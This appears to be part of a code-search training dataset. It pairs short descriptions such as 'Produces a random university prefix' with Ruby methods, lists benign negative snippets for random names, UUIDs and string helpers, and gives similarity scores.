"def rampant_repeats(string, hash)\n new_str = \"\"\n string.each_char do |char| \n if hash[char]\n hash[char].times { new_str += char }\n else\n new_str += char\n end\n end\n new_str\nend",
"def double_consonants(string)\n result_string = ''\n string.each_char do |letter|\n (letter =~ /[b-df-hj-np-tv-z]/i) == 0 ? result_string << letter << letter : result_string << letter\n end\n result_string\nend",
"def double_consonants(string)\n double_con_string = []\n string.chars.each do |char|\n if char.match?(/[aeiouAEIOU]/)\n double_con_string << char\n elsif char.match?(/[a-zA-Z]/)\n double_con_string << char << char\n else\n double_con_string << char\n end\n end\n double_con_string.join\nend",
"def crunch(string)\n output = ''\n\n chars = string.chars\n output = chars.shift unless chars.empty?\n\n loop do\n break if chars.empty?\n\n next_char = chars.shift\n next if next_char == output[-1]\n output << next_char\n end\n\n output\nend",
"def same_char_collapse(str)\n i = 0\n while i < str.length\n if i == 0\n new_str = \"\"\n end\n\n if i != str.length-1\n if str[i] == str[i+1]\n new_str += str[i+2..-1]\n str = new_str\n i = 0\n else\n new_str += str[i]\n i += 1\n end\n else\n new_str += str[i]\n i += 1\n end\n\n end\n return str\nend",
"def double_consonants(str)\nnew_str = \"\"\n\nstr.each_char do |char|\n\tif /[aeiou\\W\\d\\s]/ =~ char \n\t\tnew_str << char\n\telse\n\t\tnew_str << char << char\n\tend\nend\nnew_str\nend",
"def rampant_repeats(str, hash)\n new_str = \"\"\n str.each_char do |char|\n if hash.has_key?(char)\n hash[char].times { new_str += char }\n else\n new_str += char\n end\n end\n new_str\nend",
"def repeat(str, num)\n\t a = (str + \" \")* num\n\t return a.chop\nend"
] |
[
"0.8291636",
"0.8118189",
"0.81104946",
"0.8098799",
"0.8052855",
"0.80496466",
"0.8026236",
"0.790758",
"0.7873894",
"0.7811499",
"0.7790134",
"0.77823216",
"0.7769536",
"0.77689385",
"0.7764012",
"0.776007",
"0.7747943",
"0.77419126",
"0.7723051",
"0.77046347",
"0.77003014",
"0.7676223",
"0.7655419",
"0.7627699",
"0.76157176",
"0.7614494",
"0.76105577",
"0.76105577",
"0.75880367",
"0.7570772",
"0.75580066",
"0.7551865",
"0.7551865",
"0.7551865",
"0.7551865",
"0.7551865",
"0.7533239",
"0.7521527",
"0.7521507",
"0.75130725",
"0.7497486",
"0.7458981",
"0.7432704",
"0.74071085",
"0.7301143",
"0.72950524",
"0.7280539",
"0.7269698",
"0.7202767",
"0.7175773",
"0.71175224",
"0.708257",
"0.70600784",
"0.6998152",
"0.69065225",
"0.6882744",
"0.6863502",
"0.68467945",
"0.6807692",
"0.67355484",
"0.67271644",
"0.6694844",
"0.66677284",
"0.6649651",
"0.6645134",
"0.6592436",
"0.6587168",
"0.6568791",
"0.6562335",
"0.6560612",
"0.65427667",
"0.65427667",
"0.65240365",
"0.65151656",
"0.6505774",
"0.6500501",
"0.64991784",
"0.6495635",
"0.6473496",
"0.64720863",
"0.64627826",
"0.6457344",
"0.64565265",
"0.6452045",
"0.6451967",
"0.6451605",
"0.6445964",
"0.64318925",
"0.6428897",
"0.6426588",
"0.6417034",
"0.64162165",
"0.640523",
"0.6398249",
"0.63772964",
"0.63636786",
"0.6360573",
"0.63572425",
"0.63462424",
"0.63275063"
] |
0.7799947
|
10
|
Produces a random university prefix.
|
def prefix
fetch('university.prefix')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def prefix\n (\"aa\"..\"zz\").to_a.sample(2).to_s\n end",
"def create_name\n prefix = ('A'...'Z').to_a.shuffle[0..1].join('')\n suffix = (100..1000).to_a.sample\n \"#{prefix}#{suffix}\"\n end",
"def name_prefix\n Faker::Name.prefix\n end",
"def name_prefix\n Faker::Name.prefix\n end",
"def generate_name\n @seed ||= 0\n @seed += 1\n \"_anon_#{@seed}\"\n end",
"def prefix_male\n PREFIX_MALE.rand\n end",
"def createGuid\n chars = (0...2).map{ ('a'..'z').to_a[rand(26)] }.join\n prefix = \"#{Time.new.year}#{chars}-\"\n\n return prefix + SecureRandom.uuid\nend",
"def random_name\n (1..3).map {\"\" << rand(26) + 65}.to_s\n end",
"def random_subdomain\n ('a'..'z').to_a.shuffle[0..7].join\n end",
"def generate_slug\n rand(36**@@string_length).to_s(36)\n end",
"def random_subdomain\n puts (\"a\"..\"z\").to_a.sample(8).join\n end",
"def generate\n ('a'..'z').to_a.shuffle[0, length].join.capitalize\n end",
"def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{self.title.gsub(/[^\\w\\.\\-]/,'_').downcase}_#{salt}\"\n end\n end",
"def random_subdomain\n ('a'..'z').to_a.shuffle[1..8].join\nend",
"def generate_username_for_district(district_guid, first_name, last_name, iteration = 0)\n username = first_name.downcase[0] + last_name.downcase[0..4]\n username += iteration.to_s if iteration > 0\n return username if username_unique_for_district?(district_guid, username)\n return generate_username_for_district(district_guid, first_name, last_name, iteration + 1)\n end",
"def slug_name\n\t\t\"#{rand(36**5).to_s(36)}-#{name}\"\n\tend",
"def random_username\n word_list.sample.gsub(/[^0-9a-z]/i, '')\n end",
"def random_subdomain\n ('a'..'z').to_a.shuffle[0..7].join\nend",
"def generate_username(base)\n username = base\n\n suffix = 0\n while User.exists?(username: username)\n username = \"#{base}#{suffix}\"\n suffix += 1\n end\n\n username\n end",
"def random_nick() (0..8).map { rand(65..90).chr }.join'' end",
"def build_UUID\n uuid = \"\"\n segment = \"\"\n character_set = ('a'..'f').to_a + (0..9).to_a\n\n sections = [8, 4, 4, 4, 12]\n uuid = sections.map do |section|\n segment = \"\"\n section.times do \n segment += character_set.sample.to_s \n end\n segment\n end.join('-')\nend",
"def random_name\n letters = ('AA'..'ZZ').to_a.sample()\n digits = ('000'..'999').to_a.sample()\n letters + digits\n end",
"def generate_username3 (fir, las, year)\n\tye = year.to_s\n\tfir[0] + las + ye[-2..-1] unless ye.length != 4\nend",
"def prefix_name\n \"CAGNUT_#{Time.now.strftime('%Y%m%d%H%M%S')}\"\n end",
"def random_name\n \"#{random_letters(pick_range(4..12)).capitalize} #{random_letters(pick_range(4..12)).capitalize}\"\n end",
"def random_name\n \"#{random_letters(pick_range(4..12)).capitalize} #{random_letters(pick_range(4..12)).capitalize}\"\n end",
"def another_generate_uuid\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |letter| characters << letter }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n uuid\nend",
"def assign_uid\n chars = ('a'..'z').to_a + ('A'..'Z').to_a + ('0'..'9').to_a\n uid = ''\n 1.upto(8) {\n i = rand(62)\n uid += chars[i]\n }\n self.uid = uid\n end",
"def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{sanitized_title.downcase}_#{salt}\"\n end\n end",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12] # integers representing the number of characters in each section\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1 # index >= 4\n end\n\n uuid\nend",
"def random_lcc\n \"#{random_letters(1).capitalize}#{random_num_string(pick_range(1..3))}.#{random_letters(pick_range(1..3)).capitalize}#{random_num_string(pick_range(1..3))}\"\n end",
"def random_lcc\n \"#{random_letters(1).capitalize}#{random_num_string(pick_range(1..3))}.#{random_letters(pick_range(1..3)).capitalize}#{random_num_string(pick_range(1..3))}\"\n end",
"def uuid()\n 8.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 4.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 4.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 4.times.map { [*'0'..'9', *'a'..'f'].sample }.join + \"-\" + \\\n 12.times.map { [*'0'..'9', *'a'..'f'].sample }.join\nend",
"def uuid\n chars = ('a'..'z').to_a + (1..9).to_a\n p \"#{chars.sample(8).join}-#{chars.sample(4).join}-#{chars.sample(4).join}-#{chars.sample(4).join}-#{chars.sample(12).join}\" \n \nend",
"def generate_unique_key\n # not doing uppercase as url is case insensitive\n charset = ::Shortener.key_chars\n (0...::Shortener.unique_key_length).map{ charset[rand(charset.size)] }.join\n end",
"def random_id\n \"#{('a'..'z').to_a.sample}-#{SecureRandom.alphanumeric(6)}\"\n end",
"def get_node_name(chef_node_name, prefix)\n return chef_node_name unless chef_node_name.nil?\n\n # lazy uuids, 15 chars cause windows has limits\n (\"#{prefix}-\" + rand.to_s.split(\".\")[1]).slice(0, 14)\n end",
"def random_suffix\n length = 10\n SecureRandom.random_number(36 ** length).to_s(36).rjust(length, '0')\n end",
"def generate_UUID\n characters = []\n (0..9).each{ | digit | characters << digit.to_s}\n ('a'..'f').each{ | digit | characters << digit}\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times{ uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n return uuid\n end",
"def create_uuid()\n characters = []\n ('a'..'z').each { |let| characters << let}\n ('0'..'9').each { |num| characters << num}\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |num, index|\n num.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = [] \n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def random_name(number)\n charset = Array('a'..'z')\n Array.new(number) { charset.sample }.join\n end",
"def generate_free_insurance_id\n return 'AiShanXing' + DateTime.current.in_time_zone('Beijing').to_s(:number) + ('0'..'9').to_a.shuffle[0..3].join\n end",
"def random_username( givenname_full, surname )\n name_part_separator =\n UsernamePartSeparators[rand(UsernamePartSeparators.length)]\n givenname = givenname_full.split(/\\s/).join(name_part_separator)\n erb_template = ERB.new( UsernameTemplates[rand(UsernameTemplates.length)] )\n erb_template.result( binding )\n end",
"def generate_uuid\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit.to_s}\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= section.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def generate_UUID\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def uuid\n id = ''\n id << %w(0 1 2 3 4 5 6 7 8 9 a b c d e f).sample until id.size >= 32\n 4.times { |i| id.insert(8+i*5, '-') }\n id\nend",
"def generate_username\n\t\tself.username = \"guest_#{Time.now.to_i}#{rand(100)}\" if username.blank?\n\tend",
"def generate_username2 (fir, las)\n\tfir.gsub(/[\\W\\d]/, \"\").downcase[0] + las.gsub(/[\\W\\d]/, \"\").downcase unless\n\tfir === \"\" || las === \"\"\nend",
"def generate_uid(prefix=\"uid\")\n\t$uid_base += 1\n\tdate_str = DateTime::now().strftime($uid_datetime_fmt)\n\treturn \"#{prefix}.#{date_str}.#{$uid_base}\"\nend",
"def da_first_name_m\n %w(Lucas Magnus Mathias Frederik Oliver Emil Mikkel Victor Tobias Sebastian Mads Nikolaj Rasmus Marcus Christian Noah Jonas Jakob Kasper Oscar Andreas Alexander William Simon Gustav Nicklas Malthe Daniel Benjamin Philip Christoffer Anton Jeppe Anders Lasse Carl Silas Jonathan Marius Elias August Patrick Valdemar Thomas Laurits Bertram Martin David Hjalte Albert ).rand\n end",
"def get_random_string\r\n length=30\r\n source=(\"a\"..\"z\").to_a + (\"A\"..\"Z\").to_a + (0..9).to_a + [\"_\",\"-\"]\r\n key=\"\"\r\n length.times{ key += source[rand(source.size)].to_s }\r\n return key\r\nend",
"def random_name(length = 10, char_set = nil)\n if char_set.eql? nil\n char_set = [('a'..'z'), ('A'..'Z')].map {|i| i.to_a }.flatten\n end\n name = (0...length).map{ char_set[rand(char_set.length)] }.join\n end",
"def create_UUID\n characters =[]\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n\n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= section.size - 1\n end\n\n uuid\nend",
"def create_uuid\n characters = []\n (0..9).each { |digit| characters << digit.to_s }\n ('a'..'f').each { |digit| characters << digit }\n \n uuid = \"\"\n sections = [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index|\n section.times { uuid += characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n \n uuid\nend",
"def random_id(length=1)\n\t\tchars = ('A'..'Z').to_a + ('a'..'z').to_a + ('1'..'9').to_a - %w[I i l L O o 0 U u V v B 8]\n\t\tresult = ''\n\t\tlength.times { result << chars.sample }\n\t\tresult \n\tend",
"def create_uuid_2\n characters = []\n uuid = ''\n ('a'..'f').each { |char| characters << char}\n (0..9).each { |digit| characters << digit.to_s }\n \n sections = [8, 4, 4, 4, 12]\n\n sections.each_with_index do |section, index|\n section.times { uuid << characters.sample }\n uuid += '-' unless index >= sections.size - 1\n end\n\n uuid\nend",
"def auto_generate_username(t = nil)\n\t t ||= Time.now\n\t return \"gi\" + t.strftime(\"%Y%m%d_%H%M%S\")\n end",
"def random_key\n o = [('a'..'z'), ('A'..'Z')].map(&:to_a).flatten\n (0...8).map { o[rand(o.length)] }.join\n end",
"def base_prefix\n HaridsyncHelpers.ensure_uppercase_dn_component(group['ou'] || DEFAULT_PREFIX)\n end",
"def generate_username4 (first_name, last_name, birth_year, privilege=\"0\")\n user_priv = \"\"\n if (privilege == 1)\n user_priv = \"seller\"\n elsif (privilege == 2)\n \tuser_priv = \"manager\"\n elsif (privilege == 2)\n \tuser_priv = \"admin\"\n end\n\n if ((birth_year.to_s.length == 4) && (birth_year<2015) && (birth_year>1900))\n \t(privilege >= 1? user_priv += \"-\" : \"\") + first_name.chomp[0].downcase + last_name.downcase + birth_year.to_s.chomp[-2..-1]\n end\nend",
"def generate_UUID\n characters = [] # => []\n (0..9).each { |number| characters << number.to_s } # => 0..9\n ('a'..'f').each { |letter| characters << letter } # => \"a\"..\"f\"\n\n uuid = \"\" # => \"\"\n sections = [8, 4, 4, 4, 12] # => [8, 4, 4, 4, 12]\n sections.each_with_index do |section, index| # => [8, 4, 4, 4, 12]\n section.times { uuid += characters.sample } # => 8, 4, 4, 4, 12\n uuid += '-' unless index >= sections.size - 1 # => \"98a0df48-\", \"98a0df48-5f8a-\", \"98a0df48-5f8a-aa68-\", \"98a0df48-5f8a-aa68-2057-\", nil\n end # => [8, 4, 4, 4, 12]\n\n uuid # => \"98a0df48-5f8a-aa68-2057-7dbc6e43c04e\"\nend",
"def short_uuid\n rand(36**8).to_s(36)\n end",
"def random_vrn\n (Array(('A'..'Z')).sample(3) + Array((0..9)).sample(3)).join\n end",
"def random_username\n # \"batterypop-#{(rand * 10000).to_i}\"\n \"batterypop-#{Time.now.to_i}\"\n end",
"def random_name\n SecureRandom.hex(20)\n end",
"def generate_unique_name\n SecureRandom.uuid\n end",
"def uuid_generator\n character_set = %w(a b c d e f 0 1 2 3 4 5 6 7 8 9)\n\n uuid = ''\n\n [8, 4, 4, 4, 12].each do |num|\n num.times { uuid << character_set.sample }\n uuid << '-' if num != 12\n end\n\n uuid\nend",
"def uuid\n hex = ((0..15).to_a).zip((('0'..'9').to_a).concat(('a'..'f').to_a)).to_h\n result = \"\"\n 32.times do\n result << hex[rand(0..15)]\n end\n result.insert(8, '-')\n result.insert(13, '-')\n result.insert(18, '-')\n result.insert(23, '-')\n result\nend",
"def uuid2\n hexchars = (('0'..'9').to_a).concat(('a'..'f').to_a)\n sections = [8, 4, 4, 4, 12]\n result = ''\n\n sections.each do |section|\n section.times do\n result << hexchars.sample.to_s\n end\n result << '-'\n end\n\n result.chop # to cut off trailing char\nend",
"def namegen desired = UUID.new.to_s, realuniq = false\n a = @desired2names.fetch desired, Array.new\n return a.first if not realuniq and not a.empty?\n n = nil\n cand0 = as_tr_cpp desired.to_s\n cand1 = cand0\n while @barenames.has_key? cand1\n n ||= 1\n n += 1\n cand1 = cand0 + n.to_s\n end\n if cand1.length <= @limit\n # OK, take this\n name = old_new @prefix + cand1\n a.push name\n @desired2names.store desired, a\n @barenames.store cand1, name\n return name\n elsif @phasechange\n # name too long, use UUID#to_s\n u = UUIDNS.new_sha1 desired.to_s\n return new u.to_s, realuniq\n else\n # yet too long, now use Integer#to_s\n u = UUIDNS.new_sha1 desired.to_s\n v = u.to_i.to_s @radix\n return new v, realuniq\n end\n end",
"def generate_username3 (*allArgs)\n\tyear = allArgs[2].to_s\n\tif year.length != 4 then return nil end\n\talphaName = generate_username2(allArgs[0],allArgs[1])\n\treturn alphaName + year[-2..-1]\nend",
"def generate_uuid\n characters = []\n ('a'..'z').each { |letter| characters << letter}\n (0..9).each { |integer| characters << integer}\n sections = [8, 4, 4, 4, 12]\n uuid = []\n sections.each do |digit_quantity|\n uuid << characters.flatten.sample(digit_quantity).join\n end\n uuid.join('-')\nend",
"def last_name\n @seeds[:last_name][Random.rand(0..97)]\n end",
"def new_slug\n slug_base.convert(rand(2**64), 10)\n end",
"def uuid_generator\n uuid = []\n \n segments = [8, 4, 4, 4, 12]\n segments.each do |num|\n uuid << CHARS.sample(num).join\n end \n \n p uuid.join('-')\nend",
"def random_subdomain()\n \n randomsubdomain = \"\"\n \n # Create a string of between 3 and 8 characters \n domain = ('a'..'z').to_a.shuffle[0..7].join\n\n # Create an array of some domains and randomly pick one \n suffix = ('a'..'z').to_a.shuffle[0..1].join\n\n # Concatenate and return the string \n randomsubdomain = domain + \".\" + suffix \n\n end",
"def name\n\t\t\tnew_name_letters = (0...2).map { ('a'..'z').to_a[rand(26)] }.join.upcase\n\t\t\tnew_name_numbers = (0...3).map { (0..9).to_a[rand(10)] }.join\n\t\t\tnew_name = [new_name_letters, new_name_numbers].join\n\t\t\t3.times do\n\t\t\t\tputs new_name\n\t\t\tend\n\tend",
"def last_name\n range = [*'a'..'z']\n \"#{Helpers::FakeIt.last_name}#{Array.new(5) { range.sample }.join}\"\n end",
"def generate_sid\n \"%0#{@default_options[:sidbits] / 4}x\" %\n rand(2**@default_options[:sidbits] - 1)\n end",
"def prefix_female\n PREFIX_FEMALE.rand\n end",
"def uuid\n char = (0..9).collect { |n| n.to_s }\n char += ('a'..'f').to_a\n blocks = [8,4,4,4,12]\n \n uuid = ''\n blocks.each do |num|\n while num >= 0\n uuid << char.sample\n num -= 1\n end\n uuid += '-' \n end\n uuid.chop\nend",
"def generate_username(first, last, year, level=0)\n username = build_username(first, last, year, level)\n\n if $user_counts[username].nil?\n $user_counts[username] = 0; # initialize count at zero\n username\n else\n $user_counts[username] +=1 # increment username count\n user_count = $user_counts[username].to_s\n username + \"_\" + user_count\n end\nend",
"def mk_name\n \"quarley poller #{rand(1_000_000)} #{Time.now.to_i}\"\n end",
"def generate_uid\n [Time.now.strftime('%Y%m%d%H%M%S'), \"%05d\" % rand(10000)].join\n end",
"def random_common_name(domain_name)\n cert_serial_number(domain_name).to_s(36)\n end",
"def random_common_name(domain_name)\n cert_serial_number(domain_name).to_s(36)\n end",
"def create_uuid\n characters = [*'a'..'f', *'0'..'9']\n \"#{characters.sample(8).join}-#{characters.sample(4).join}-#{characters.sample(4).join}-#{characters.sample(4).join}-#{characters.sample(12).join}\"\nend",
"def first_name\n @seeds[:first_name][Random.rand(0..86)]\n end",
"def generar_llave\n cadena = [('a'..'z'), ('A'..'Z')].map { |i| i.to_a }.flatten\n llave = (0...6).map{ cadena[rand(cadena.length)] }.join\n llave\n end",
"def gen_uid\n \"#{rand(100000)}-#{Time.now.to_i}-#{rand(100000)}\"\n end",
"def create_uuid\n hex = ('0'..'9').to_a + ('a'..'f').to_a\n uuid = ''\n sections = [8,4,4,4,12]\n sections.each_with_index do |section, index|\n section.times { uuid += hex.sample }\n uuid += '-' unless index == sections.size - 1\n end\n p uuid\nend",
"def gen_small_uuid()\n %x[/usr/bin/uuidgen].gsub('-', '').strip\n end",
"def generate_subjectid\n\t\tsubjectids = ( (1..999999).to_a - StudySubject.select('subjectid'\n\t\t\t).collect(&:subjectid).collect(&:to_i) )\n\t\tsprintf(\"%06d\",subjectids[rand(subjectids.length)].to_i)\n\tend",
"def getSomeCoolName\n\t\tnames = File.open(\"NazwyKonferencji\").read.split(\"\\n\")\n\t\tnames[rand(names.size)]\n\tend",
"def unique_name(name)\n \"pedant_#{name}_#{pedant_suffix}\"\n end",
"def pick_name(n,w)\n return USERNAMES[ (n % USERNAMES.size) ] + n.to_s + \"_w#{w.to_s}\"\n end"
] |
[
"0.67843586",
"0.6739261",
"0.67103356",
"0.67103356",
"0.66755575",
"0.6638696",
"0.6542381",
"0.64919627",
"0.64751035",
"0.6459034",
"0.64587235",
"0.6442107",
"0.6375788",
"0.6367254",
"0.63616246",
"0.6360397",
"0.6352027",
"0.63262033",
"0.6324436",
"0.63027674",
"0.6270009",
"0.62646556",
"0.6263693",
"0.6257469",
"0.62541854",
"0.62541854",
"0.6244667",
"0.6219008",
"0.62084085",
"0.62010175",
"0.6188574",
"0.6188574",
"0.6180358",
"0.6180187",
"0.6162647",
"0.6159062",
"0.6149396",
"0.6145268",
"0.6135509",
"0.61291075",
"0.6127175",
"0.6126874",
"0.6126765",
"0.61230457",
"0.6118662",
"0.61164075",
"0.61164075",
"0.61164075",
"0.61164075",
"0.6114822",
"0.61127996",
"0.6109028",
"0.610491",
"0.6087604",
"0.6085569",
"0.6058128",
"0.6044793",
"0.60427374",
"0.60404176",
"0.6025087",
"0.60181135",
"0.6014346",
"0.60082716",
"0.60000634",
"0.5995739",
"0.5990528",
"0.5989747",
"0.5988832",
"0.5981526",
"0.59794676",
"0.5971387",
"0.5971159",
"0.5966534",
"0.59633607",
"0.5950909",
"0.5947854",
"0.5944226",
"0.5939668",
"0.59326345",
"0.5932232",
"0.5930347",
"0.59262884",
"0.5922329",
"0.59201866",
"0.59185827",
"0.59167176",
"0.59075797",
"0.590595",
"0.59001136",
"0.59001136",
"0.5899988",
"0.5895844",
"0.5895714",
"0.5894847",
"0.5893873",
"0.5882602",
"0.58805937",
"0.58771646",
"0.5871898",
"0.58714414"
] |
0.69970393
|
0
|
Produces a random university suffix.
|
def suffix
fetch('university.suffix')
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def random_suffix\n length = 10\n SecureRandom.random_number(36 ** length).to_s(36).rjust(length, '0')\n end",
"def name_suffix\n Faker::Name.suffix\n end",
"def name_suffix\n Faker::Name.suffix\n end",
"def create_name\n prefix = ('A'...'Z').to_a.shuffle[0..1].join('')\n suffix = (100..1000).to_a.sample\n \"#{prefix}#{suffix}\"\n end",
"def last_name\n range = [*'a'..'z']\n \"#{Helpers::FakeIt.last_name}#{Array.new(5) { range.sample }.join}\"\n end",
"def last_name\n @seeds[:last_name][Random.rand(0..97)]\n end",
"def slug_name\n\t\t\"#{rand(36**5).to_s(36)}-#{name}\"\n\tend",
"def generate_slug\n rand(36**@@string_length).to_s(36)\n end",
"def random_suffix(name, env_var=nil)\n return \"#{name}-#{SecureRandom.hex(2)}\" if env_var.nil?\n \"#{ENV.fetch(env_var, name)}-#{SecureRandom.hex(2)}\"\nend",
"def generate_name\n @seed ||= 0\n @seed += 1\n \"_anon_#{@seed}\"\n end",
"def random_name\n (1..3).map {\"\" << rand(26) + 65}.to_s\n end",
"def random_name\n \"#{random_letters(pick_range(4..12)).capitalize} #{random_letters(pick_range(4..12)).capitalize}\"\n end",
"def random_name\n \"#{random_letters(pick_range(4..12)).capitalize} #{random_letters(pick_range(4..12)).capitalize}\"\n end",
"def random_subdomain\n ('a'..'z').to_a.shuffle[0..7].join\n end",
"def random_name\n letters = ('AA'..'ZZ').to_a.sample()\n digits = ('000'..'999').to_a.sample()\n letters + digits\n end",
"def last_name\n case rand(0..1)\n when 0 then male_last_name\n when 1 then female_last_name\n end\n end",
"def generate\n ('a'..'z').to_a.shuffle[0, length].join.capitalize\n end",
"def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{self.title.gsub(/[^\\w\\.\\-]/,'_').downcase}_#{salt}\"\n end\n end",
"def suffix\n fetch('superhero.suffix')\n end",
"def random_subdomain()\n \n randomsubdomain = \"\"\n \n # Create a string of between 3 and 8 characters \n domain = ('a'..'z').to_a.shuffle[0..7].join\n\n # Create an array of some domains and randomly pick one \n suffix = ('a'..'z').to_a.shuffle[0..1].join\n\n # Concatenate and return the string \n randomsubdomain = domain + \".\" + suffix \n\n end",
"def random_name(number)\n charset = Array('a'..'z')\n Array.new(number) { charset.sample }.join\n end",
"def random_subdomain\n puts (\"a\"..\"z\").to_a.sample(8).join\n end",
"def random_subdomain\n ('a'..'z').to_a.shuffle[1..8].join\nend",
"def name\n\t\t\tnew_name_letters = (0...2).map { ('a'..'z').to_a[rand(26)] }.join.upcase\n\t\t\tnew_name_numbers = (0...3).map { (0..9).to_a[rand(10)] }.join\n\t\t\tnew_name = [new_name_letters, new_name_numbers].join\n\t\t\t3.times do\n\t\t\t\tputs new_name\n\t\t\tend\n\tend",
"def random_subdomain\n ('a'..'z').to_a.shuffle[0..7].join\nend",
"def name(for_sex = :random)\n with_same_sex(for_sex) do\n case rand(0..9)\n when 0 then \"#{prefix} #{first_name} #{last_name} #{suffix}\"\n when 1..2 then \"#{prefix} #{first_name} #{last_name}\"\n else \"#{first_name} #{last_name}\"\n end\n end\n end",
"def create_munged_title\n self.munged_title = \"#{title.parameterize}-#{rand(36**3).to_s(36)}\"\n end",
"def create_munged_title\n self.munged_title = \"#{title.parameterize}-#{rand(36**3).to_s(36)}\"\n end",
"def build_suffix(id_length = 16)\n possible_suffix = \"\"\n\n (1 .. id_length).each do |id|\n possible_suffix = possible_suffix.concat @possible_chars.sample\n end\n return possible_suffix\nend",
"def random_name(length = 10, char_set = nil)\n if char_set.eql? nil\n char_set = [('a'..'z'), ('A'..'Z')].map {|i| i.to_a }.flatten\n end\n name = (0...length).map{ char_set[rand(char_set.length)] }.join\n end",
"def set_unique_name\n salt = rand 1000000\n salt2 = rand 100\n if self.title.blank?\n self.unique_name = \"#{salt}_#{salt2}\" \n else\n self.unique_name = \"#{sanitized_title.downcase}_#{salt}\"\n end\n end",
"def random_name(basename = \"maestro\")\n parts = (basename.nil? or basename.empty? ? \"maestro\" : basename).split(\".\")\n parts[0]=\"#{parts[0]}#{name_split_char}#{(0...5).map{ ('a'..'z').to_a[rand(26)] }.join}\"\n parts.join(\".\")\n end",
"def zh_lorem_last_name_pinyin(replacement = nil)\n if replacement\n return replacement\n end\n\n x = %w[Li Wang Zhang Liu Chen Yang Huang Zhao Zhou Wu Xu Sun Zhu Ma Hu Guo Lin He Gao Liang Zheng Luo Song Xie Tang Han Cao Deng Xiao Feng Ceng Cheng Cai Peng Pan Yuan Dong Yu Su She Lu: Wei Jiang Tian Du Ding Chen/shen Fan Fu Zhong Lu Dai Cui Ren Liao Yao Fang Jin Qiu Jia Tan Gu Zou Dan Xiong Meng Qin Yan Xue Hou Lei Bai Long Duan Hao Kong Shao Shi Mao Chang Wan Lai Kang Yin Qian Niu Hong Gong]\n return x[rand(x.size)]\n end",
"def prefix_female\n PREFIX_FEMALE.rand\n end",
"def mk_name\n \"quarley poller #{rand(1_000_000)} #{Time.now.to_i}\"\n end",
"def createGuid\n chars = (0...2).map{ ('a'..'z').to_a[rand(26)] }.join\n prefix = \"#{Time.new.year}#{chars}-\"\n\n return prefix + SecureRandom.uuid\nend",
"def create_suffix(longurl,flag)\n ascii_value = ascii_value(longurl)\n if(flag == 1)\n ascii_value = ascii_value + rand(100..1000)\n end\n suffix = \"\"\n map_hash = \"ABCDEFGHIJKLMNO%PQRSTUVWXYZ0123&456789abcdefghi$jklmnopqrstuvwx*yz\" #base(66)\n while ascii_value!=0\n suffix += map_hash[ascii_value % 66]\n ascii_value = ascii_value/10\n end\n return suffix\n end",
"def new_slug\n slug_base.convert(rand(2**64), 10)\n end",
